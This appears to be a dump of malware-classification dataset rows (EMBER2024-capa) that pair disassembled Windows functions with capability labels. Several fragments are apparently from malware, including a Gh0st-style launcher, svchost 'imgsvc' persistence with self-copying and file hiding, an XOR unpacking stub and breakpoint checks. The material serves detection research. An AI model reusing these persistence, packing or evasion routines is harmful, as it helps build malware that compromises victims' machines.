joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10004f40
Capabilities:
Copy file
Delete file
Query environment variable
Set file attributes

Disassembly:
mov eax, dword [esp + 8]
sub esp, 0x208
cmp eax, 1
push esi
push edi
jne 0x100050b4
push 0x37a
push str.Ffqne_HqupivieVdi
call fcn.10004b80
mov esi, dword [sym.imp.MSVCRT.dll_putchar]
push 0x30
call esi
mov eax, dword [esp + 0x220]
add esp, 0xc
push 0x104
push 0x1000fed8
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 0x30
call esi
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0xd]
mov byte [esp + 0xc], 0
rep stosd dword es:[edi], eax
add esp, 4
lea ecx, [esp + 8]
stosw word es:[edi], ax
push 0x104
push ecx
push str._RqmbzdlDjn_p__RjqTNluyrhwub_bqe
stosb byte es:[edi], al
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsA]
lea edi, [esp + 8]
or ecx, 0xffffffff
xor eax, eax
push str._RqmbzdlDjn_p__RjqTNluyrhwub_bqe
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push 0x1000fed8
mov edx, ecx
mov esi, edi
mov edi, str._RqmbzdlDjn_p__RjqTNluyrhwub_bqe
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
call dword [sym.imp.MSVCRT.dll__stricmp]
add esp, 8
test eax, eax
je 0x100050b4
push str.Glable__Wait
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventA]
push eax
call dword [sym.imp.KERNEL32.dll_SetEvent]
call fcn.100059c0
push str._RqmbzdlDjn_p__RjqTNluyrhwub_bqe
call fcn.10003e70
add esp, 4
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
call dword [sym.imp.MSVCRT.dll_srand]
add esp, 4
push str._RqmbzdlDjn_p__RjqTNluyrhwub_bqe
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov ecx, 0xb
mov esi, str._SystemRoot_System32_svchost.exe__k_imgsvc
lea edi, [esp + 0x10c]
xor eax, eax
rep movsd dword es:[edi], dword [esi]
mov ecx, 0x36
lea edi, [esp + 0x138]
rep stosd dword es:[edi], eax
lea eax, [esp + 0x10c]
push eax
call fcn.10003f00
add esp, 4
call fcn.100041d0
call fcn.100043d0
push 0x1000
push str._RqmbzdlDjn_p__RjqTNluyrhwub_bqe
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push 0
push str._RqmbzdlDjn_p__RjqTNluyrhwub_bqe
push 0x1000fed8
call dword [sym.imp.KERNEL32.dll_CopyFileA]
push str._RqmbzdlDjn_p__RjqTNluyrhwub_bqe
call fcn.10004950
add esp, 4
call fcn.10004050
call fcn.10003f90
pop edi
mov eax, 1
pop esi
add esp, 0x208
ret 0xc

Function at 0x100053e0
Capabilities:
Create process on windows

Disassembly:
sub esp, 0x54
push esi
push edi
mov edi, dword [esp + 0x60]
push 0x2f
push edi
call dword [sym.imp.MSVCRT.dll_strrchr]
mov esi, eax
add esp, 8
inc esi
jne 0x10005402
pop edi
xor al, al
pop esi
add esp, 0x54
ret
push esi
push edi
call fcn.100034d0
add esp, 8
test al, al
jne 0x10005416
pop edi
pop esi
add esp, 0x54
ret
mov ecx, 0x10
xor eax, eax
lea edi, [esp + 0x1c]
rep stosd dword es:[edi], eax
lea eax, [esp + 8]
lea ecx, [esp + 0x18]
push eax
push ecx
push 0
push 0
push 0
push 0
push 0
push 0
push str.Gh0st_Update
push esi
mov dword [esp + 0x40], 0x44
mov dword [esp + 0x48], str.WinSta0Default
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
neg eax
sbb eax, eax
pop edi
neg eax
pop esi
add esp, 0x54
ret
Function at 0x430000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
mov eax, section..text
nop
nop
nop
push 4
nop
nop
nop
nop
nop
nop
nop
pop edi
nop
nop
nop
cmp eax, 0
je 0x430072
nop
nop
nop
nop
nop
mov ebx, 0x408f6c
nop
nop
nop
mov ecx, ebx
nop
sub ecx, eax
nop
nop
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
nop
nop
push eax
nop
nop
nop
mov eax, ecx
nop
div edi
nop
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
pop eax
nop
nop
nop
nop
nop
nop
mov esi, 0x7e78615a
xor dword [eax], esi
nop
nop
nop
nop
nop
nop
add eax, edi
nop
nop
loop 0x430060
nop
nop
nop
nop
mov eax, section..text_1
nop
nop
nop
cmp eax, 0
nop
nop
je 0x4300d2
nop
nop
nop
nop
mov ebx, 0x42e3d0
mov ecx, ebx
nop
nop
nop
nop
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
push eax
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
nop
nop
div edi
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
nop
nop
pop eax
nop
nop
mov esi, 0x65e2125c
nop
nop
nop
nop
nop
xor dword [eax], esi
nop
add eax, edi
nop
nop
nop
loop 0x4300c0
nop
nop
nop
nop
nop
nop
nop
nop
popal
nop
jmp 0x401219
Function at 0x40d990
Capabilities:
Encode data using xor
Hash data using murmur2

Disassembly:
push edi
push esi
push ebp
push ebx
push esi
mov dword [esp], edx
mov eax, dword [eax]
inc dword [0x873df0]
mov edi, ecx
xor esi, esi
xor esi, ecx
cmp ecx, 4
jl 0x40d9d1
imul ebp, dword [edx], 0x5bd1e995
mov ebx, ebp
shr ebx, 0x18
xor ebp, ebx
imul ebx, ebp, 0x5bd1e995
imul esi, esi, 0x5bd1e995
xor esi, ebx
add edx, 4
add edi, 0xfffffffc
cmp edi, 4
jge 0x40d9ab
cmp edi, 3
je 0x40d9e2
cmp edi, 2
je 0x40d9eb
cmp edi, 1
je 0x40d9f4
jmp 0x40d9ff
movzx edi, byte [edx + 2]
shl edi, 0x10
xor esi, edi
movzx edi, byte [edx + 1]
shl edi, 8
xor esi, edi
movzx edx, byte [edx]
xor esi, edx
imul esi, esi, 0x5bd1e995
mov edx, esi
shr edx, 0xd
xor esi, edx
imul esi, esi, 0x5bd1e995
mov edi, esi
shr edi, 0xf
xor esi, edi
and esi, 0x7fffffff
add esi, 0x80000000
test eax, eax
je 0x40da62
mov edi, dword [0x873dec]
mov ebx, eax
mov ebp, ecx
inc edi
mov dword [0x873dec], edi
cmp esi, dword [ebx + 0x1c]
jne 0x40da59
cmp ebp, dword [ebx + 0x18]
jne 0x40da53
push ebp
mov edx, dword [esp + 4]
push edx
push dword [ebx + 0x14]
call fcn.004711c0
add esp, 0xc
test eax, eax
je 0x40da68
inc dword [0x873de8]
mov ebx, dword [ebx + 0xc]
test ebx, ebx
jne 0x40da2d
mov eax, ebx
pop ecx
pop ebx
pop ebp
pop esi
pop edi
ret
mov eax, ebx
pop ecx
pop ebx
pop ebp
pop esi
pop edi
ret
Function at 0x417a3c
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister

Disassembly:
mov eax, dword [0x59cc10]
cmp eax, 0x270
jl 0x417b0a
xor edx, edx
mov eax, dword [edx*4 + 0x5cfc80]
and eax, 0x80000000
mov ecx, dword [edx*4 + 0x5cfc84]
and ecx, 0x7fffffff
or eax, ecx
mov ecx, eax
shr ecx, 1
and eax, 1
xor ecx, dword [edx*4 + 0x5d02b4]
xor ecx, dword [eax*4 + 0x578538]
mov dword [edx*4 + 0x5cfc80], ecx
inc edx
cmp edx, 0xe3
jl 0x417a4e
cmp edx, 0x26f
jge 0x417ad6
mov eax, dword [edx*4 + 0x5cfc80]
and eax, 0x80000000
mov ecx, dword [edx*4 + 0x5cfc84]
and ecx, 0x7fffffff
or eax, ecx
mov ecx, eax
shr ecx, 1
and eax, 1
xor ecx, dword [edx*4 + 0x5cf8f4]
xor ecx, dword [eax*4 + 0x578538]
mov dword [edx*4 + 0x5cfc80], ecx
inc edx
cmp edx, 0x26f
jl 0x417a96
mov edx, dword [0x5d063c]
and edx, 0x80000000
mov eax, dword [0x5cfc80]
and eax, 0x7fffffff
or edx, eax
mov ecx, edx
shr ecx, 1
xor ecx, dword [0x5d02b0]
and edx, 1
xor ecx, dword [edx*4 + 0x578538]
mov dword [0x5d063c], ecx
xor eax, eax
lea edx, [eax + 1]
mov dword [0x59cc10], edx
mov eax, dword [eax*4 + 0x5cfc80]
mov ecx, eax
shr ecx, 0xb
xor eax, ecx
mov edx, eax
shl edx, 7
and edx, 0x9d2c5680
xor eax, edx
mov edx, eax
shl edx, 0xf
and edx, 0xefc60000
xor eax, edx
mov edx, eax
shr edx, 0x12
xor eax, edx
ret

Function at 0x41cc74
Capabilities:
Encode data using xor

Disassembly:
push esi
push ebx
push esi
mov ecx, edx
mov edx, eax
mov esi, ecx
shr esi, 2
and ecx, 3
test esi, esi
je 0x41ccfb
je 0x41cd2a
mov eax, 0xffffffff
xor ebx, ebx
mov dword [esp], edi
movzx edi, byte [edx]
xor edi, eax
and edi, 0xff
shr eax, 8
xor eax, dword [edi*4 + 0x59c1c0]
movzx edi, byte [edx + 1]
xor edi, eax
and edi, 0xff
shr eax, 8
xor eax, dword [edi*4 + 0x59c1c0]
movzx edi, byte [edx + 2]
xor edi, eax
and edi, 0xff
shr eax, 8
xor eax, dword [edi*4 + 0x59c1c0]
movzx edi, byte [edx + 3]
xor edi, eax
and edi, 0xff
shr eax, 8
xor eax, dword [edi*4 + 0x59c1c0]
add edx, 4
inc ebx
cmp ebx, esi
jb 0x41cc97
mov edi, dword [esp]
jmp 0x41cd00
mov eax, 0xffffffff
test ecx, ecx
je 0x41cd24
je 0x41cd24
xor ebx, ebx
inc edx
movzx esi, byte [edx - 1]
xor esi, eax
and esi, 0xff
shr eax, 8
xor eax, dword [esi*4 + 0x59c1c0]
inc ebx
cmp ebx, ecx
jb 0x41cd08
not eax
pop ecx
pop ebx
pop esi
ret
mov eax, 0xffffffff
jmp 0x41cd00
Function at 0x426b50
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push esi
push ebx
sub esp, 0x28
mov ebx, eax
test ebx, ebx
je 0x426c15
movsx edx, byte [0x59cc14]
test edx, edx
je 0x426b71
mov eax, ebx
call fcn.00426c24
mov eax, dword [ebx + 0x44]
test eax, eax
je 0x426c15
mov edx, dword [eax + 0x30]
mov ecx, dword [eax + 0x34]
mov dword [esp + 8], edx
mov dword [esp + 0xc], ecx
mov edx, dword [eax + 0x38]
mov ecx, dword [eax + 0x3c]
mov dword [esp + 0x10], edx
mov dword [esp + 0x14], ecx
mov edx, dword [eax + 0x40]
mov ecx, dword [eax + 0x44]
mov dword [esp + 0x18], edx
mov dword [esp + 0x1c], ecx
mov edx, dword [eax + 0x48]
mov ecx, dword [eax + 0x4c]
mov dword [esp + 0x20], edx
mov dword [esp + 0x24], ecx
mov esi, ebx
mov ebx, eax
mov eax, esi
lea edx, [esp + 8]
call fcn.004111dc
mov edx, dword [ebx + 0x70]
mov ecx, dword [ebx + 0x74]
add dword [esp + 8], edx
adc dword [esp + 0xc], ecx
mov edx, dword [ebx + 0x78]
mov ecx, dword [ebx + 0x7c]
add dword [esp + 0x10], edx
adc dword [esp + 0x14], ecx
mov edx, dword [ebx + 0x70]
mov ecx, dword [ebx + 0x74]
add dword [esp + 0x18], edx
adc dword [esp + 0x1c], ecx
mov edx, dword [ebx + 0x78]
mov ecx, dword [ebx + 0x7c]
add dword [esp + 0x20], edx
adc dword [esp + 0x24], ecx
mov esi, dword [esi + 0x10]
cmp esi, dword [0x873abc]
je 0x426c0d
mov ebx, dword [esi + 0x44]
test ebx, ebx
jne 0x426bb8
xor eax, eax
add esp, 0x28
pop ebx
pop esi
ret
mov eax, 0xffffffff
add esp, 0x28
pop ebx
pop esi
ret
Function at 0x441698
Capabilities:
Read file on windows

Disassembly:
push esi
lea edx, [esp]
push 1
push edx
push dword [eax]
call fcn.0047271e
movsx eax, byte [esp + 0xc]
add esp, 0x10
ret
Function at 0x452190
Capabilities:
Encode data using xor
Hash data using murmur2

Disassembly:
push edi
push esi
push ebp
push ebx
sub esp, 8
mov dword [esp], eax
xor ecx, ecx
xor ecx, edx
cmp edx, 4
jl 0x4521c9
imul ebp, dword [eax], 0x5bd1e995
mov ebx, ebp
shr ebx, 0x18
xor ebp, ebx
imul esi, ebp, 0x5bd1e995
imul ecx, ecx, 0x5bd1e995
xor ecx, esi
add eax, 4
add edx, 0xfffffffc
cmp edx, 4
jge 0x4521a3
cmp edx, 3
je 0x4521da
cmp edx, 2
je 0x4521e3
cmp edx, 1
je 0x4521ec
jmp 0x4521f7
movzx edx, byte [eax + 2]
shl edx, 0x10
xor ecx, edx
movzx edx, byte [eax + 1]
shl edx, 8
xor ecx, edx
movzx eax, byte [eax]
xor ecx, eax
imul ecx, ecx, 0x5bd1e995
mov edx, ecx
shr edx, 0xd
xor ecx, edx
imul edx, ecx, 0x5bd1e995
mov eax, edx
shr eax, 0xf
xor edx, eax
mov ecx, edx
shr ecx, 0x18
mov eax, dword [ecx*4 + 0x7d3220]
mov ecx, dword [0x873edc]
mov dword [esp + 4], ecx
cmp eax, ecx
jge 0x45226e
mov ecx, dword [0x873ee0]
mov ebx, eax
mov ebp, edx
mov esi, dword [ecx + ebx*4]
cmp ebp, dword [esi + 4]
jne 0x452265
mov edi, dword [esi]
mov esi, dword [esp]
mov dl, byte [edi]
cmp dl, byte [esi]
jne 0x45225c
or dl, dl
je 0x452258
mov dl, byte [edi + 1]
cmp dl, byte [esi + 1]
jne 0x45225c
add edi, 2
add esi, 2
or dl, dl
jne 0x45223c
xor eax, eax
jmp 0x452261
sbb eax, eax
or eax, 1
test eax, eax
je 0x45227b
inc ebx
mov esi, dword [esp + 4]
cmp ebx, esi
jl 0x45222f
mov eax, 0xffffffff
add esp, 8
pop ebx
pop ebp
pop esi
pop edi
ret
mov eax, ebx
add esp, 8
pop ebx
pop ebp
pop esi
pop edi
ret
Function at 0x45ce98
Capabilities:
Read file on windows

Disassembly:
push esi
lea edx, [esp]
push 4
push edx
push dword [eax]
call fcn.0047271e
mov eax, dword [esp + 0xc]
add esp, 0x10
ret
Function at 0x46555c
Capabilities:
Read file on windows

Disassembly:
push edi
push ebx
sub esp, 0x24
mov edi, eax
xor eax, eax
mov dh, byte [edi]
mov ecx, edi
test dh, dh
je 0x465575
inc ecx
inc eax
mov dl, byte [ecx]
test dl, dl
jne 0x46556d
mov ebx, eax
inc ebx
push ebx
call fcn.00470aec
pop ecx
mov ecx, dword [0x873c4c]
mov edx, dword [0x873c48]
mov dword [edx + ecx*4], eax
mov edx, dword [0x873c48]
mov ecx, dword [0x873c4c]
mov edx, dword [edx + ecx*4]
test edx, edx
je 0x4656d1
push ebx
push edi
push edx
call dword [0x5b9a6c]
add esp, 0xc
mov ebx, dword [0x873c4c]
mov ecx, dword [0x873c48]
lea eax, [esp + 8]
mov edx, dword [ecx + ebx*4]
call fcn.00465744
movsx eax, byte [esp + 0x10]
test eax, eax
je 0x4656ac
lea eax, [esp + 0x20]
push 4
push eax
push dword [esp + 0x10]
call fcn.0047271e
add esp, 0xc
lea eax, [esp + 8]
call fcn.0045ce98
mov edi, eax
lea eax, [esp + 8]
call fcn.0045ce98
mov ebx, eax
lea eax, [esp + 8]
call fcn.004657d4
mov edx, dword [esp + 0x20]
cmp edx, 0x465059
jne 0x46564a
cmp edi, 0x22b
je 0x465624
cmp edi, 0xea
jl 0x465687
mov edx, dword [0x873c50]
add edx, ebx
mov dword [0x873c50], edx
cmp edx, 0x30d40
jge 0x46566b
mov eax, dword [0x873c4c]
inc eax
mov dword [0x873c4c], eax
cmp eax, 0x64
jge 0x465652
xor eax, eax
add esp, 0x24
pop ebx
pop edi
ret
push 0x64
push 1
push 0x196c2
call fcn.0046db70
mov eax, 0xffffffff
add esp, 0x30
pop ebx
pop edi
ret
push 0x30d40
push 1
push 0x196cc
call fcn.0046db70
mov eax, 0xffffffff
add esp, 0x30
pop ebx
pop edi
ret
mov edx, dword [0x873c4c]
mov eax, dword [0x873c48]
push dword [eax + edx*4]
push 1
push 0x196b8
call fcn.0046db70
mov eax, 0xffffffff
add esp, 0x30
pop ebx
pop edi
ret
mov edx, dword [0x873c4c]
mov eax, dword [0x873c48]
push dword [eax + edx*4]
push 1
push 0xdbfb0
call fcn.0046db70
mov eax, 0xfffffffe
add esp, 0x30
pop ebx
pop edi
ret
push 1
push 0x186aa
call fcn.0046dbcc
mov eax, 0xffffffff
add esp, 0x2c
pop ebx
pop edi
ret

Function at 0x4657c0
Capabilities:
Read file on windows

Disassembly:
push ecx
push edx
push dword [eax]
call fcn.0047271e
add esp, 0xc
ret

Function at 0x465ec8
Capabilities:
Create thread

Disassembly:
xor eax, eax
push eax
push eax
push 0x41c4a4
call fcn.00473c16
add esp, 0xc
test eax, eax
je 0x465eee
movsx edx, byte [0x59cc34]
dec edx
push edx
push eax
call dword [0x5780bc]
ret
push 0x879d0c
push 0
call fcn.00409c40
add esp, 8
ret
Function at 0x46c0a4
Capabilities:
Create thread

Disassembly:
movsx eax, byte [0x8739bc]
test eax, eax
je 0x46c0c0
xor eax, eax
push eax
push eax
push 0x420af4
call fcn.00473c16
add esp, 0xc
ret

Function at 0x46c0c4
Capabilities:
Create thread

Disassembly:
push edi
push esi
push ebx
push esi
movsx edx, byte [0x59cc30]
test edx, edx
jle 0x46c15f
xor eax, eax
xor ecx, ecx
xor edx, edx
mov edi, eax
mov ebx, edx
mov esi, ecx
xor eax, eax
push eax
push eax
push eax
push eax
call dword [0x5780dc]
mov dword [esi*4 + 0x7dcc40], eax
xor eax, eax
push eax
push eax
push eax
push eax
call dword [0x5780dc]
mov dword [ebx + 0x7dcd40], eax
xor eax, eax
push eax
push 1
push eax
push eax
call dword [0x5780dc]
mov dword [ebx + 0x7dce40], eax
cmp dword [esi*4 + 0x7dcc40], 0
je 0x46c225
cmp dword [esi*4 + 0x7dcd40], 0
je 0x46c215
cmp dword [esi*4 + 0x7dce40], 0
je 0x46c205
add ebx, 4
inc esi
movsx edx, byte [0x59cc30]
cmp esi, edx
jl 0x46c0e3
mov eax, edi
cmp eax, 1
je 0x46c1ed
test edx, edx
jle 0x46c1e9
xor eax, eax
xor ecx, ecx
xor edx, edx
mov ebx, eax
mov esi, edx
mov edi, ecx
mov dword [esi + 0x7db340], edi
xor ecx, ecx
lea edx, [esi + 0x7db340]
lea eax, [esp]
push eax
push ecx
push edx
push 0x41f64c
push ecx
push ecx
call fcn.0047402d
add esp, 0x18
mov dword [edi*4 + 0x7db240], eax
push edi
push eax
call dword [0x5780bc]
cmp dword [edi*4 + 0x7db240], 0
jne 0x46c1b4
mov ebx, 1
add esi, 0x64
inc edi
movsx eax, byte [0x59cc30]
cmp edi, eax
jl 0x46c173
mov eax, ebx
cmp eax, 1
je 0x46c1d1
xor eax, eax
pop ecx
pop ebx
pop esi
pop edi
ret
push 0x87a5ec
push 0
call fcn.00409c40
mov eax, 0xffffffff
add esp, 0xc
pop ebx
pop esi
pop edi
ret
xor eax, eax
jmp 0x46c1c5
push 0x87a5c0
push 0
call fcn.00409c40
mov eax, 0xffffffff
add esp, 0xc
pop ebx
pop esi
pop edi
ret
call dword [0x578290]
mov edi, 1
jmp 0x46c145
call dword [0x578290]
mov edi, 1
jmp 0x46c137
call dword [0x578290]
mov edi, 1
jmp 0x46c129

Function at 0x46d508
Capabilities:
Create thread

Disassembly:
push esi
xor eax, eax
push eax
push eax
push eax
push eax
call dword [0x5780dc]
mov dword [0x873ec8], eax
xor eax, eax
push eax
push eax
push eax
push eax
call dword [0x5780dc]
mov dword [0x873ecc], eax
xor eax, eax
push eax
push 1
push eax
push eax
call dword [0x5780dc]
mov dword [0x873ed0], eax
xor edx, edx
lea eax, [esp]
push eax
push edx
push 0x7d2e00
push 0x41b6a0
push edx
push edx
call fcn.0047402d
add esp, 0x18
mov dword [0x873ec4], eax
pop ecx
ret

Function at 0x46d578
Capabilities:
Create thread

Disassembly:
push esi
xor eax, eax
push eax
push eax
push 1
push eax
call dword [0x5780dc]
mov dword [0x873e90], eax
xor eax, eax
push eax
push eax
push 1
push eax
call dword [0x5780dc]
mov dword [0x873e94], eax
xor edx, edx
mov eax, 1
push edx
push eax
push eax
push edx
call dword [0x5780dc]
mov dword [0x873e98], eax
xor edx, edx
lea eax, [esp]
push eax
push edx
push 0x7cf700
push 0x4186e8
push edx
push edx
call fcn.0047402d
add esp, 0x18
mov dword [0x873e8c], eax
pop ecx
ret

Function at 0x46d5d8
Capabilities:
Create thread

Disassembly:
xor eax, eax
push eax
push eax
push 0x417d88
call fcn.00473c16
add esp, 0xc
call fcn.0046d560
ret
Function at 0x46d90c
Capabilities:
Inspect section memory permissions

Disassembly:
push esi
call dword [0x578464]
test eax, eax
jg 0x46d920
mov dword [0x873698], eax
xor eax, eax
pop ecx
ret
mov edx, 0x10
cmp eax, 0x10
jl 0x46d92c
mov eax, edx
mov dword [0x873698], eax
xor eax, eax
mov dword [esp], ebx
mov ebx, eax
lea edx, [ebx + 0x78c240]
push 0x34
push edx
call dword [0x5b9a60]
add esp, 8
mov dword [ebx + 0x78c240], 0x34
mov dword [ebx + 0x78c244], 0x83
add ebx, 0x34
cmp ebx, 0x340
jl 0x46d938
mov ebx, dword [esp]
mov dword [0x78c580], 1
mov dword [0x78c584], 2
mov dword [0x78c588], 4
mov dword [0x78c58c], 8
mov dword [0x78c590], 0x10
mov dword [0x78c594], 0x20
mov dword [0x78c598], 0x40
mov dword [0x78c59c], 0x80
mov dword [0x78c5a0], 0x100
mov dword [0x78c5a4], 0x200
mov dword [0x78c5a8], 0x400
mov dword [0x78c5ac], 0x800
mov dword [0x78c5b0], 0x1000
mov dword [0x78c5b4], 0x2000
mov dword [0x78c5b8], 0x4000
mov dword [0x78c5bc], 0x8000
mov dword [0x78c5c0], 0x10000
mov dword [0x78c5c4], 0x20000
mov dword [0x78c5c8], 0x40000
mov dword [0x78c5cc], 0x80000
mov dword [0x78c5d0], 0x100000
mov dword [0x78c5d4], 0x200000
mov dword [0x78c5d8], 0x400000
mov dword [0x78c5dc], 0x800000
mov dword [0x78c5e0], 0x1000000
mov dword [0x78c5e4], 0x2000000
mov dword [0x78c5e8], 0x4000000
mov dword [0x78c5ec], 0x8000000
mov dword [0x78c5f0], 0x10000000
mov dword [0x78c5f4], 0x20000000
mov dword [0x78c5f8], 0x40000000
mov dword [0x78c5fc], 0x80000000
mov eax, 1
pop ecx
ret

Function at 0x46de28
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister

Disassembly:
mov eax, dword [esp + 4]
mov dword [0x5cfc80], eax
mov eax, 1
mov ecx, dword [eax*4 + 0x5cfc7c]
mov edx, ecx
shr edx, 0x1e
xor ecx, edx
imul edx, ecx, 0x6c078965
add edx, eax
mov dword [eax*4 + 0x5cfc80], edx
inc eax
cmp eax, 0x270
jl 0x46de36
mov dword [0x59cc10], eax
ret
Function at 0x49661c
Capabilities:
Check for software breakpoints

Disassembly:
push ebx
push esi
mov ebx, dword [esp + 0xc]
mov eax, dword [ebx + 0x14]
cmp eax, 0xca
je 0x4966ca
cmp eax, 0xcb
je 0x49665f
cmp eax, 0xcc
je 0x496655
push ebx
mov eax, dword [ebx]
mov dword [eax + 0x14], 0x14
mov ecx, dword [ebx]
mov edx, dword [ebx + 0x14]
mov dword [ecx + 0x18], edx
mov eax, dword [ebx]
call dword [eax]
pop ecx
mov eax, ebx
call fcn.004966fc
pop ecx
pop ebx
ret
mov edx, dword [ebx + 0x190]
movzx ecx, byte [edx + 0x10]
test ecx, ecx
jne 0x496678
mov edx, dword [ebx + 0x7c]
mov dword [ebx + 0x84], edx
jmp 0x496655
mov edx, dword [ebx + 8]
test edx, edx
je 0x496683
push ebx
call dword [edx]
pop ecx
push ebx
mov edx, dword [ebx + 0x190]
call dword [edx]
pop ecx
test eax, eax
je 0x4966f4
cmp eax, 2
je 0x49666d
mov edx, dword [ebx + 8]
test edx, edx
je 0x496683
cmp eax, 3
je 0x4966a7
cmp eax, 1
jne 0x49667f
mov ecx, dword [edx + 4]
add ecx, 1
mov dword [edx + 4], ecx
mov edx, dword [ebx + 8]
mov eax, dword [edx + 8]
cmp ecx, eax
jl 0x49667b
mov ecx, dword [ebx + 0x11c]
add eax, ecx
mov dword [edx + 8], eax
mov edx, dword [ebx + 8]
jmp 0x49667b
push ebx
call fcn.00499460
pop ecx
movzx edx, byte [ebx + 0x40]
test edx, edx
jne 0x4966e5
mov dword [ebx + 0x14], 0xcb
jmp 0x49665f
mov dword [ebx + 0x14], 0xcf
mov eax, 1
pop ecx
pop ebx
ret
xor eax, eax
pop ecx
pop ebx
ret

Function at 0x4966fc
Capabilities:
Check for software breakpoints

Disassembly:
push ebx
sub esp, 8
mov ebx, eax
mov edx, dword [ebx + 0x14]
cmp edx, 0xcc
je 0x496725
push ebx
mov edx, dword [ebx + 0x180]
call dword [edx]
pop ecx
mov dword [ebx + 0x78], 0
mov dword [ebx + 0x14], 0xcc
mov edx, dword [ebx + 0x180]
movzx ecx, byte [edx + 8]
test ecx, ecx
je 0x4967be
mov eax, dword [ebx + 0x78]
mov dword [esp], esi
mov dword [esp + 4], edi
lea ecx, [ebx + 0x78]
mov esi, ecx
jmp 0x49674a
xor eax, eax
cmp eax, dword [ebx + 0x60]
jae 0x496792
mov edx, dword [ebx + 8]
test edx, edx
je 0x49676c
push ebx
mov dword [edx + 4], eax
mov edx, dword [ebx + 8]
mov eax, dword [ebx + 0x60]
mov dword [edx + 8], eax
mov edi, dword [ebx + 8]
call dword [edi]
pop ecx
mov eax, dword [ebx + 0x78]
mov edx, dword [ebx + 0x184]
mov edi, eax
xor eax, eax
push eax
push esi
push eax
push ebx
call dword [edx + 4]
add esp, 0x10
mov eax, dword [ebx + 0x78]
cmp eax, edi
je 0x4967df
cmp eax, dword [ebx + 0x60]
jb 0x49674f
mov edx, dword [ebx + 0x180]
push ebx
call dword [edx + 4]
push ebx
mov eax, dword [ebx + 0x180]
call dword [eax]
add esp, 8
mov edx, dword [ebx + 0x180]
mov dword [ebx + 0x78], 0
movzx eax, byte [edx + 8]
test eax, eax
jne 0x496748
mov esi, dword [esp]
mov edi, dword [esp + 4]
movzx edx, byte [ebx + 0x41]
test edx, edx
je 0x4967cd
mov edx, 0xce
jmp 0x4967d2
mov edx, 0xcd
mov dword [ebx + 0x14], edx
mov eax, 1
add esp, 8
pop ebx
ret
mov esi, dword [esp]
mov edi, dword [esp + 4]
xor eax, eax
add esp, 8
pop ebx
ret
Function at 0x49b23c
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push edi
push esi
push ebp
sub esp, 0x20
mov edi, eax
mov esi, dword [edi + 0x1a8]
mov edx, dword [edi + 0x4c]
cmp edx, 1
je 0x49b391
mov byte [esi + 0x1c], 0
xor ebp, ebp
push dword [edi + 0x64]
mov ecx, dword [edi + 4]
lea edx, [ebp + 0x100]
push edx
push 1
push edi
call dword [ecx + 8]
add esp, 0x10
mov ecx, dword [esi + 0x14]
mov dword [esi + 0x18], eax
mov edx, dword [edi + 0x64]
test edx, edx
jle 0x49b38a
mov dword [esp + 8], ebp
mov dword [esp + 0xc], esi
mov dword [esp + 0x10], edi
mov dword [esp], ebx
xor edx, edx
mov ebx, eax
mov dword [esp + 4], edx
jmp 0x49b2a3
mov edx, dword [esp + 0xc]
mov ebx, dword [edx + 0x18]
mov edi, dword [esp + 0xc]
mov ebp, dword [esp + 4]
mov esi, dword [esp + 8]
mov edi, dword [edi + ebp*4 + 0x20]
mov eax, ecx
cdq
idiv edi
lea ebp, [ebp + ebp]
test esi, esi
mov ecx, eax
je 0x49b2d0
mov edx, dword [esp + 0xc]
add dword [ebx + ebp*2], 0xff
mov ebx, dword [edx + 0x18]
mov ebp, dword [ebx + ebp*2]
lea ebx, [edi + edi - 2]
mov dword [esp + 0x1c], ebx
lea eax, [edi + 0xfe]
cdq
idiv ebx
xor esi, esi
mov edx, eax
xor eax, eax
mov ebx, eax
mov eax, edi
mov edi, edx
cmp esi, edi
jle 0x49b32c
mov dword [esp + 0x18], eax
mov edx, ebx
mov dword [esp + 0x14], ecx
mov ecx, dword [esp + 0x1c]
shl edx, 9
sub edx, ebx
sub edx, ebx
lea edi, [eax + edx + 0xfe]
add edi, 0x1fe
add ebx, 1
mov eax, edi
cdq
idiv ecx
cmp esi, eax
jg 0x49b310
mov ecx, dword [esp + 0x14]
mov edi, eax
mov eax, dword [esp + 0x18]
mov edx, ecx
imul edx, ebx
mov byte [esi + ebp], dl
add esi, 1
cmp esi, 0xff
jle 0x49b2f0
mov edx, dword [esp + 8]
test edx, edx
je 0x49b36f
mov ebx, 1
movzx edx, byte [ebp]
mov esi, ebp
sub esi, ebx
mov byte [esi], dl
movzx edx, byte [ebp + 0xff]
mov byte [ebx + ebp + 0xff], dl
add ebx, 1
cmp ebx, 0xff
jle 0x49b34c
mov edx, dword [esp + 4]
mov ebx, dword [esp + 0x10]
add edx, 1
cmp edx, dword [ebx + 0x64]
mov dword [esp + 4], edx
jl 0x49b29c
mov ebx, dword [esp]
add esp, 0x20
pop ebp
pop esi
pop edi
ret
mov byte [esi + 0x1c], 1
mov ebp, 0x1fe
jmp 0x49b25c